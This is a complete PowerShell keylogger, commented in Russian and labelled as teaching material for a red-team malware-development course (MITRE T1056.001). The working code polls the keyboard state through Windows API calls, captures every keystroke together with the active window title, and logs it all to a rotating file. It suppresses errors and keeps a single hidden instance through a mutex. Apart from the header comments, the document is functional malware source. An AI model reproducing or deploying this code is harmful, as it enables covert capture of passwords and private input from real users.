Загрузка данных


# Keylogger - учебная версия для red team maldev курса
# MITRE ATT&CK: T1056.001 (Input Capture: Keylogging)
# ВНИМАНИЕ: только для лабораторного использования

$ErrorActionPreference = 'SilentlyContinue'

# --- Конфигурация ---
$path           = "C:\FIXME\keylogs.txt"
$maxLogSize     = 5MB
$flushInterval  = 1000   # мс
$pollInterval   = 10     # мс

# --- Защита от саморепликации: один экземпляр через mutex ---
$mutexName = 'Global\MaldevKeylogger'
$mutex = New-Object System.Threading.Mutex($false, $mutexName)
if (-not $mutex.WaitOne(0)) { exit }

$writer = $null
try {
    # --- Создаём каталог, если его нет ---
    $dir = Split-Path -Parent $path
    if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
    if (-not (Test-Path $path)) { New-Item -ItemType File -Path $path | Out-Null }

    # --- P/Invoke ---
    $signatures = @'
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
public static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll", CharSet=CharSet.Unicode)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
                                    System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet=CharSet.Unicode)]
public static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder lpString, int nMaxCount);
'@
    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

    # --- Буферы создаются один раз ---
    $kbstate  = New-Object byte[] 256
    $sb       = New-Object System.Text.StringBuilder 8
    $titleBuf = New-Object System.Text.StringBuilder 256

    # --- Потоковая запись вместо AppendAllText на каждый символ ---
    $writer = New-Object System.IO.StreamWriter($path, $true, [System.Text.Encoding]::UTF8)
    $writer.AutoFlush = $false

    $buffer     = New-Object System.Text.StringBuilder
    $lastFlush  = [DateTime]::UtcNow
    $lastTitle  = ''

    # Спецклавиши, у которых ToUnicode не даст полезного символа
    $specialKeys = @{
        0x08='[BS]';   0x09='[TAB]';  0x0D="`r`n[ENTER]`r`n"; 0x1B='[ESC]'
        0x20=' ';      0x25='[LEFT]'; 0x26='[UP]';           0x27='[RIGHT]'
        0x28='[DOWN]'; 0x2E='[DEL]';  0x2D='[INS]';          0x24='[HOME]'
        0x23='[END]';  0x21='[PGUP]'; 0x22='[PGDN]'
    }

    # --- Основной цикл (не привязан к существованию файла) ---
    while ($true) {
        Start-Sleep -Milliseconds $pollInterval
        try {
            for ($vk = 0x08; $vk -le 0xFE; $vk++) {

                # Корректная проверка: старший бит, а не строгое -32767
                if (($API::GetAsyncKeyState($vk) -band 0x8000) -eq 0) { continue }

                # Контекст: активное окно (timestamp + заголовок)
                $hwnd = $API::GetForegroundWindow()
                $null = $API::GetWindowText($hwnd, $titleBuf, $titleBuf.Capacity)
                $title = $titleBuf.ToString()
                if ($title -ne $lastTitle) {
                    $null = $buffer.AppendLine()
                    $null = $buffer.AppendLine(("[{0:u}] --- {1} ---" -f [DateTime]::UtcNow, $title))
                    $lastTitle = $title
                }

                # Спецклавиши обрабатываем отдельно
                if ($specialKeys.ContainsKey($vk)) {
                    $null = $buffer.Append($specialKeys[$vk])
                    continue
                }

                # GetKeyboardState должен быть успешен
                if (-not $API::GetKeyboardState($kbstate)) { continue }

                # MapVirtualKey(vk, 0) -> scan code, потом ToUnicode(vk, scan, ...)
                $scan = $API::MapVirtualKey([uint32]$vk, 0)
                $null = $sb.Clear()
                $rc = $API::ToUnicode([uint32]$vk, [uint32]$scan, $kbstate, $sb, $sb.Capacity, 0)

                if ($rc -gt 0) {
                    $null = $buffer.Append($sb.ToString())
                }
                elseif ($rc -eq -1) {
                    # Dead key: акценты/композиция — следующий символ завершит последовательность
                    # (для полноценной обработки нужна отдельная state-machine)
                }
            }

            # Периодический flush накопленного буфера
            if ($buffer.Length -gt 0 -and
                ([DateTime]::UtcNow - $lastFlush).TotalMilliseconds -ge $flushInterval) {
                $writer.Write($buffer.ToString())
                $writer.Flush()
                $null = $buffer.Clear()
                $lastFlush = [DateTime]::UtcNow
            }

            # Ротация лога по размеру
            if ($writer.BaseStream.Length -gt $maxLogSize) {
                $writer.Close()
                $rotated = "{0}.{1:yyyyMMddHHmmss}" -f $path, [DateTime]::UtcNow
                Move-Item -Path $path -Destination $rotated -Force
                $writer = New-Object System.IO.StreamWriter($path, $true, [System.Text.Encoding]::UTF8)
                $writer.AutoFlush = $false
            }
        }
        catch {
            # Ошибка одного тика не убивает цикл
        }
    }
}
finally {
    if ($writer) { try { $writer.Flush(); $writer.Close() } catch {} }
    if ($mutex)  { try { $mutex.ReleaseMutex(); $mutex.Dispose() } catch {} }
}